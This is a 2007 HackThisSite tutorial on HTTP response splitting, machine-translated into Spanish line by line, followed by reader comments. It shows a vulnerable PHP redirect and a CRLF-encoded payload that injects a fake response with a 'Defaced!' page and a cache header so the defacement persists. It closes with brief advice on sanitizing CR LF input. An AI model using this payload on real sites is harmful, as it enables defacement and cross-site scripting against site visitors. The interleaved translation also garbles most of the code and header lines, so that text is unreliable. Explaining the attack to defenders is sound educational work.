Hack este sitio!

[ Advertise With HackThisSite.org :: Hide These Ads ] [Anúnciate con HackThisSite.org:: Ocultar estos anuncios]

"Seek the wisdom of the ages, but look at the world through the eyes of a child." "Buscar la sabiduría de las edades, pero mira en el mundo a través de los ojos de un niño". - Ron Wild - Ron Silvestre

HTS costs up to $300 a month to operate. HTS gastos de hasta $ 300 al mes para funcionar. We need your help! Necesitamos tu ayuda!

Donors also receive special recognition on our donors page. Los donantes también recibirán un reconocimiento especial a nuestros donantes página.

FR DE ES IT PT FR DE ES IT PT

Link to us! Enlace con nosotros!

phoenix free shells Phoenix libre de los depósitos
hackergames.net hackergames.net
PullThePlug PullThePlug

HTTP Response Splitting La división de respuesta HTTP
Published by: Kane , on 2007-10-01 18:08:57 Publicado por: Kane, en 2007-10-01 18:08:57
HTTP Response Splitting is a fairly new type of Web App security vulnerability. La división de respuesta HTTP es un tipo relativamente nuevo de la Web Apéndice vulnerabilidad de la seguridad. The idea behind it is, you find a website that takes user submitted data, and writes it to the HTTP header. La idea que subyace es, a encontrar un sitio web que el usuario tenga los datos presentados, y lo escribe en la cabecera HTTP. An example of this is a Location: redirect. Un ejemplo de esto es un Localización: redireccionamiento. Heres the PHP code that takes a website, and redirects you to it. Heres el código PHP que tenga un sitio web, y le redirecciona a la misma. http://site.com/redirect.php?page=http://www.google.com CODE : CÓDIGO: `<?php` `<? php` `header("Location: $_GET['page']");` `cabecera ( "Lugar: $ _GET [ 'página']");` `?>` `?>` As you can see, the 'page' variable is passed to the Location header to redirect the user. Como puede ver, la página 'variable se pasa a la ubicación de cabecera para redirigir al usuario. Heres what the request and reply headers look like: Heres lo que la solicitud y buscar las cabeceras de respuesta como: Request: Solicitud: CODE : CÓDIGO: `GET /index.php?page=http://www.google.com\r\n` `GET / index.php? Page = http://www.google.com \ r \ n` `HTTP/1.1\r\n` `HTTP/1.1 \ r \ n` `Host: site.com\r\n` `Anfitrión: site.com \ r \ n` `Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,/;q=0.5\r\n` `Acepte: text / xml, application / xml, application / xhtml + xml, text / html; q = 0.9, text / plain; q = 0.8, image / png ,/; q = 0,5 \ r \ n` `Accept-Language: en-us,en;q=0.5\r\n` `Accept-language: es-es, es; q = 0,5 \ r \ n` `Accept-Encoding: gzip,deflate\r\n` `Acepte-Encoding: gzip, deflactar \ r \ n` `Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7\r\n` `Aceptar-de caracteres: ISO-8859-1, utf-8; q = 0.7, ; q = 0,7 \ r \ n` `Keep-Alive: 300\r\n` `-Mantener vivo: 300 \ r \ n` `Connection: keep-alive\r\n` `Conexión: mantener vivo-\ r \ n` `\r\n` `\ r \ n` Reply: (302 Redirect) Respuesta: (302 Redirija) CODE : CÓDIGO: `HTTP/1.1 302 Found\r\n` `HTTP/1.1 302 encontrado \ r \ n` `Date: Tue, 02 Oct 2007 1:40:00 GMT\r\n` `Fecha: Martes, 02 Oct 2007 1:40:00 GMT \ r \ n` `Server: Apache/0.0.0 (Windows) PHP/0.0.0` `Servidor: Apache/0.0.0 (Windows) PHP/0.0.0` `Location: http://www.google.com\r\n` `Ubicación: http://www.google.com \ r \ n` `The users fake headers will be here` `Los usuarios falsos cabeceras estar aquí` `Keep-Alive: timeout=15, max=100\r\n` `-Mantener vivo: timeout = 15, max = 100 \ r \ n` `Connection: Keep-Alive\r\n` `Conexión:-Mantener vivo \ r \ n` `Transfer-Encoding: chunked\r\n` `Transferencia-Encoding: chunked \ r \ n` `Content-Type: text/html\r\n` `Content-Type: text / html \ r \ n` `\r\n` `\ r \ n` Now the server sends you to the requested URL (google.com): Ahora el servidor le envía a la URL solicitada (google.com): CODE : CÓDIGO: `GET / HTTP/1.1` `GET / HTTP/1.1` `Host: www.google.com` `Anfitrión: www.google.com` `Accept:text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,/;q=0.5` `Acepte: text / xml, application / xml, application / xhtml + xml, text / html; q = 0.9, text / plain; q = 0.8, image / png ,/; q = 0,5` `Accept-Language: en-us,en;q=0.5` `Accept-language: es-es, es; q = 0,5` `Accept-Encoding: gzip,deflate` `Acepte-Encoding: gzip, deflactar` `Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7` `Aceptar-de caracteres: ISO-8859-1, utf-8; q = 0.7, ; q = 0,7` `Keep-Alive: 300` `-Mantener vivo: 300` `Connection: keep-alive` `Conexión: mantener vivo -` The server will respond with a 200 Found response and show you the requested document, Google.com. El servidor responderá con una respuesta Encontrados 200 y mostrarle el documento solicitado, Google.com. Hopefully you noticed whats at the end of each line. Cabe esperar que advertido Que al final de cada línea. \r\n \ r \ n Which is also represented as: Que también está representado como: CR LF and, LF y CR, %0d %0a % 0D% 0A So, you should know how to fake headers. Por lo tanto, usted debe saber cómo encabezados falsos. Basically, if you inject a CR LF in the header, you can inject your own and you have your attack. Básicamente, si se inyecta una CR LF en la cabecera, se puede inyectar su propia y tiene su ataque. Now, what can be accomplished with this? Ahora, lo que se puede lograr con esto? Well, you can re-write the page. Bueno, puede volver a escribir la página. Allowing for XSS, HTML Injection, and you can even tell the browser to cache your 'defaced' page by setting either, Que permite XSS, inyección HTML, y usted puede decir el navegador a su caché "desfigurado" la página ya sea mediante el establecimiento, Last-Modified: Última modificación: Cache-Control: or, Cache-Control: o, Pragma To a date ahead of the current. Para una fecha antes de la actual. So, lets inject our own headers to rewrite the page and tell the browser to cache it. Por lo tanto, permite inyectar cabeceras de nuestro propio para volver a escribir la página y decirle al navegador para que cache. Our Injection: Nuestro Inyección: CODE : CÓDIGO: `\r\n` `\ r \ n` `Content-Type: text/html\r\n` `Content-Type: text / html \ r \ n` `HTTP/1.1 OK\r\n` `HTTP/1.1 Aceptar \ r \ n` `Content-Type: text/html\r\n` `Content-Type: text / html \ r \ n` `Last-Modified: 5 Oct 12:00:00 GMT\r\n` `Última modificación: 5 octubre 12:00:00 GMT \ r \ n` `\r\n` `\ r \ n` `<html><h1>Defaced!</h1></html>` `<html> <h1> desfigurado! </ h1> </ html>` Heres what the request and reply headers look like: Heres lo que la solicitud y buscar las cabeceras de respuesta como: Request: Solicitud: CODE : CÓDIGO: `GET /index.php?page=%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-` `GET / index.php? Page =% 0D% 0aContent-Type: 20text/html%% 0D% 0aHTTP/1.1% 20200% 20OK% 0D% 0aContent-Type: 20text/html%% 0D% 0aLast -` `Modified:%20Tue,%205%20Oct%202007%2012:00:00%20GMT%0d%0a%0d%0a%3Chtml%3E%3Ch1%3EDefaced!%3C/html%3E\r\n` `Modificado: 20Tue%,% 205% 20Oct% 202007% 2012:00:00% 20GMT% 0D% 0A% 0D% 0A% 3Chtml% 3E% 3Ch1% 3EDefaced! 3C/html% 3E% \ r \ n` `HTTP/1.1\r\n` `HTTP/1.1 \ r \ n` `Host: http://site.com\r\n` `Anfitrión: http://site.com \ r \ n` `Accept:text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,/;q=0.5\r\n` `Acepte: text / xml, application / xml, application / xhtml + xml, text / html; q = 0.9, text / plain; q = 0.8, image / png ,/; q = 0,5 \ r \ n` `Accept-Language: en-us,en;q=0.5\r\n` `Accept-language: es-es, es; q = 0,5 \ r \ n` `Accept-Encoding: gzip,deflate\r\n` `Acepte-Encoding: gzip, deflactar \ r \ n` `Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7\r\n` `Aceptar-de caracteres: ISO-8859-1, utf-8; q = 0.7, ; q = 0,7 \ r \ n` `Keep-Alive: 300\r\n` `-Mantener vivo: 300 \ r \ n` `Connection: keep-alive\r\n` `Conexión: mantener vivo-\ r \ n` `\r\n` `\ r \ n` Response: (302 Found) Respuesta: (302 encontradas) CODE : CÓDIGO: `HTTP/1.1 302 Found` `HTTP/1.1 302 Encontrados` `Normal header here` `Normal cabecera aquí` `Date: Tue, 02 Oct 2007 1:40:00 GMT\r\n` `Fecha: Martes, 02 Oct 2007 1:40:00 GMT \ r \ n` `Server: Apache/0.0.0 (Windows) PHP/0.0.0` `Servidor: Apache/0.0.0 (Windows) PHP/0.0.0` `Location:` `Ubicación:` `Content-Type: text/html` `Content-Type: text / html` `HTTP/1.1 200 OK` `HTTP/1.1 200 OK` `Our response has been injected here` `Nuestra respuesta ha sido inyectado aquí` `Content-Type: text/html` `Content-Type: text / html` `<html><h1>Defaced!</h1></html>` `<html> <h1> desfigurado! </ h1> </ html>` `Our above code gets shown as the redirected page` `Nuestro código anterior se muestra como la página redireccionada` `Keep-Alive: timeout=15, max=100` `-Mantener vivo: timeout = 15, max = 100` `Connection: Keep-Alive` `Conexión: mantenimiento de conexiones` `Transfer-Encoding: chunked` `Transferencia-Encoding: chunked` `Content-Type: text/html` `Content-Type: text / html` As you can see in the example above, the server runs the normal 302 response, then, our injected code gets placed instead of the redirect which will cause it to show on the page. Como se puede ver en el ejemplo anterior, el servidor ejecuta la respuesta normal de 302, entonces, nuestro código inyectado se coloca en lugar de la redirección, que hará que se muestran en la página. Allowing for the payload of our choice. Para permitir la carga útil de nuestra elección. And as a bonus, it gets cached until the 5'th of October ;) Y como un bono, se pone en caché hasta que el 5'th de octubre;) So up until that day, providing they don't clear their cache, they will see the defaced page. Por lo tanto, hasta ese día, siempre y cuando no claramente su caché, que verá la página desfigurado. Now, to protect yourself against this attack, be sure to sanitize input against: Ahora, para protegerse en contra de este ataque, asegúrese de desinfectar contra la entrada: CR LF CR LF \r\n and, \ r \ n y, %0d%0a % 0D% 0A And any other forms of encoding for these characters before parsing them to the HTTP Headers. Y cualquier otra forma de codificación de estos caracteres antes de analizar a la Encabezados HTTP. Hope that explains it... Espero que lo explica ... ;)
Cast your vote on this article Emitir su voto sobre este artículo Note: the order of the votes has been reversed. Nota: el orden de los votos se ha invertido.

Comments: Comentarios:
Published: 20 comments. Publicado: 20 comentarios.

Kane - 01:43 pm Monday October 01st, 2007 Kane - 01:43 pm de lunes 01o octubre de 2007

Aww... AWW ... It ruined the pretty layout :( Se arruinó el bonito diseño: (

DaC - 01:54 pm Monday October 01st, 2007 CAD - 01:54 pm de lunes 01o octubre de 2007

doesnt matter, its a good article :) doesnt asunto, su un buen artículo:)

its nice to read, not new theme, but thanks for writing. su agradable de leer, no tema nuevo, pero gracias por escribir. got 9 points Tiene 9 puntos

Tormn - 01:55 pm Monday October 01st, 2007 Tormn - 01:55 pm de lunes 01o octubre de 2007

Lol, I can see you\'ve photoshop\'d your avatar Kane. Lol, puedo ver que \ 've photoshop \' d tu avatar Kane. XP Looks like the preset background with KANE lettering... XP Parece que la configuración de fondo con KANE letras ... Preset lettering with color overlay and outer glow. Preset con letras de color de superposición de externo y brillo. And the only thing you changed the color on is the color overlay XP. Y la única cosa que ha cambiado el color es el color de superposición de XP. GET A BETTER AVATAR! Obtener un mejor avatar! NO PRESETS. NO PRESETS. XP love you too, btw nice article, I only read about the \\r\\n thing. XP también te amo, btw bonito artículo, yo sólo leer acerca de la \ \ r \ \ n cosa. Its cool. Su fresco. My email has it so I\'ll try it. Mi dirección de correo electrónico que tiene por lo que \ 'll intentarlo.

BTW, 10 points only because I /love you Kane. BTW, 10 puntos sólo porque me / love you Kane.

yourmysin - 02:01 pm Monday October 01st, 2007 yourmysin - 02:01 pm de lunes 01o octubre de 2007

Intresting article, very easy to follow for the beginners. Intresting artículo, muy fácil de seguir para los principiantes.

Kane - 02:06 pm Monday October 01st, 2007 Kane - 02:06 pm de lunes 01o octubre de 2007

@DaC, I hate when the layout goes to shit :P But thanks for the vote ;) @ CAD, odio cuando el diseño va a la mierda: P Pero gracias por la votación;)

@Tormn, make me a better avatar and I\'ll use it XD @ Tormn, me hacen un mejor avatar y yo \ 'll usarlo XD

@Yourmysin, yay thanks :P @ Yourmysin, yay gracias: P

genocidepromoter - 02:25 pm Monday October 01st, 2007 genocidepromoter - 02:25 pm de lunes 01o octubre de 2007

<3 Kane .... <3 Kane ....
<3 Kane\'s article :P <3 Kane \ 's artículo: P

lordofwhee - 04:47 pm Monday October 01st, 2007 lordofwhee - 04:47 pm de lunes 01o octubre de 2007

Awesome article, especially among the flood of crap we\'ve been having recently. Genial artículo, especialmente entre la avalancha de basura que \ 'he estado teniendo recientemente.

c24lightning - 06:46 pm Monday October 01st, 2007 c24lightning - 06:46 pm de lunes 01o octubre de 2007

i think this article is the highest % in a long time. Creo que este artículo es el% más alto en mucho tiempo. (98% currently) (98% actualmente)

10/10

nos_slived - 08:06 pm Monday October 01st, 2007 nos_slived - 08:06 pm de lunes 01o octubre de 2007

Kane, I love you. Kane, Te quiero. Finally something both unique and well written. Por último algo único y bien escrito. Best of all, it isn\'ta mission walkthrough. Lo mejor de todo, que no es \ 'ta misión de paseo.

vicarious - 10:19 pm Monday October 01st, 2007 subsidiaria - 10:19 pm de lunes 01o octubre de 2007

10 10 10 10 ;D 10 10 10 10; D

Kane - 03:01 am Tuesday October 02nd, 2007 Kane - 03:01 horas Martes 02a octubre de 2007

Thanks for the responses XD Gracias por las respuestas XD

venkman - 09:18 am Wednesday October 03rd, 2007 Venkman - 09:18 horas Miércoles 03a octubre de 2007

Yay, good text Kane, you won the status of Citizen writing that ;_) Yay, el buen texto de Kane, que obtuvo el estatuto de ciudadano que escribir; _)

InferiorTerror - 05:40 pm Wednesday October 03rd, 2007 InferiorTerror - 05:40 PM miércoles 03a octubre de 2007

Nice, I have not seen a good article in awhile. Niza, no he visto un buen artículo en un rato.

masterboot - 08:07 pm Sunday October 14th, 2007 masterboot - 08:07 pm del domingo 14 de octubre de 2007

this is a good article. este es un buen artículo. Thanks Gracias

tommosimmo - 04:24 am Sunday October 21st, 2007 tommosimmo - 04:24 horas del domingo 21 de octubre de 2007

Whats a good program to edit Http-Headers with? ¿Cuál es un buen programa para editar Encabezados HTTP con?

Cheers, ¡Salud!,
ToM Tom

Kane - 05:59 am Thursday October 25th, 2007 Kane - 05:59 am Jueves 25 de octubre de 2007

Live HTTP Headers - A plugin for Mozilla Firefox Encabezados HTTP en vivo - Un plugin para Mozilla Firefox

dw0rek - 01:10 pm Friday November 09th, 2007 dw0rek - 01:10 pm Viernes 09 de noviembre de 2007

With default install of Apache/2.2.4 (Win32) PHP/5.2.4 the header function Con una instalación predeterminada de Apache/2.2.4 (Win32) PHP/5.2.4 función de la cabecera
checks for CRLF injections, and displays the following warning message if more CRLF los controles de las inyecciones, y muestra el siguiente mensaje de advertencia si más
than one line is detected, IE. una línea que se detecta, IE. a carriage return, line feed has been used. un retorno de carro, avance de línea ha sido utilizada.

Warning: Header may not contain more than a single header, new line detected. Advertencia: la cabecera no puede contener más de una sola cabecera, nueva línea detectado. in D:\\www\\g.php on line 2 en D: \ \ www \ \ g.php en la línea 2

whatsLOVE - 11:09 pm Sunday April 13th, 2008 whatsLOVE - 11:09 pm del domingo 13 de abril, 2008

Man all of Kane are sexy and I wis Kanes sexy too Kane add me clever.hacker@hotmail.com El hombre de todos los Kane son sexy y WIS Kanes demasiado sexy me Kane añadir clever.hacker @ hotmail.com

lpata29 - 03:43 am Tuesday May 20th, 2008 lpata29 - 03:43 horas Martes 20 de mayo, 2008

wat are some sites i can try this on wat son algunos sitios i puede intentar esto en

aronramires - 08:14 pm Thursday November 06th, 2008 aronramires - 08:14 pm Jueves 06 de noviembre, 2008

du have friendsters? han friendsters du? hihihi

This site is the collective work of the HackThisSite staff. Este sitio es el trabajo colectivo de la HackThisSite personal. Please don't reproduce in part or whole without permission. Por favor, no reproducir en parte o su totalidad sin permiso.
Page Generated: Mon, 01 Dec 2008 22:34:53 -0500 Exec: 10 Página de creación: Lunes, 01 diciembre 2008 22:34:53 -0500 Ejec: 10
_{Page loaded in 0.11856 seconds!} _{Page cargado en 0,11856 segundos!}

Donate Donar

Challenges Retos

Get Informed Infórmese

Get Involved ¡Participa!

Communicate Comunicar

About HTS Acerca de HTS

Translate Traducir

Partners Socios